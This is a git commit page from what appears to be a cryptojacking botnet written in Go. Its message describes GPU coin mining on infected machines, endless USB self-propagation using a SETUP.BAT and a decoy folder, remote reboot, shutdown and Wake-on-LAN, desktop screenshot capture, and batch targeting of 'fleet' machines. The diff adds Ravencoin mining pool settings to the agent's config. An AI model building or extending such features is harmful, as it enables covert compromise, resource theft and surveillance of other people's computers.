Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
This commit is contained in:
@@ -47,5 +47,11 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RemoteAggressive: false,
|
||||
USBSpread: false,
|
||||
ShareSpread: false,
|
||||
GPUEnabled: false,
|
||||
RVNWallet: "",
|
||||
RVNPoolHost: "rvn.2miners.com",
|
||||
RVNPoolPort: 6060,
|
||||
RVNPoolTLS: false,
|
||||
RVNPoolPass: "x",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -66,6 +66,15 @@ type BuiltinConfig struct {
|
||||
// FleetSecret is baked in at forge time and presented on WS connect.
|
||||
// The server rejects any agent that doesn't carry the right secret.
|
||||
FleetSecret string
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUEnabled bool // enable KawPoW GPU miner alongside XMR CPU miner
|
||||
RVNWallet string // Ravencoin wallet address for GPU mining
|
||||
RVNPoolHost string // primary RVN Stratum pool host
|
||||
RVNPoolPort int // primary RVN Stratum pool port
|
||||
RVNPoolTLS bool // primary RVN pool TLS flag
|
||||
RVNPoolPass string // stratum password (usually "x")
|
||||
RVNBackupPools []BackupPool // failover RVN pools
|
||||
}
|
||||
|
||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||
@@ -158,6 +167,18 @@ func Load() RuntimeConfig {
|
||||
b.DisplayMode = "background"
|
||||
}
|
||||
}
|
||||
// GPU mining defaults
|
||||
if b.GPUEnabled {
|
||||
if b.RVNPoolHost == "" {
|
||||
b.RVNPoolHost = "rvn.2miners.com"
|
||||
}
|
||||
if b.RVNPoolPort <= 0 {
|
||||
b.RVNPoolPort = 6060
|
||||
}
|
||||
if b.RVNPoolPass == "" {
|
||||
b.RVNPoolPass = "x"
|
||||
}
|
||||
}
|
||||
return RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user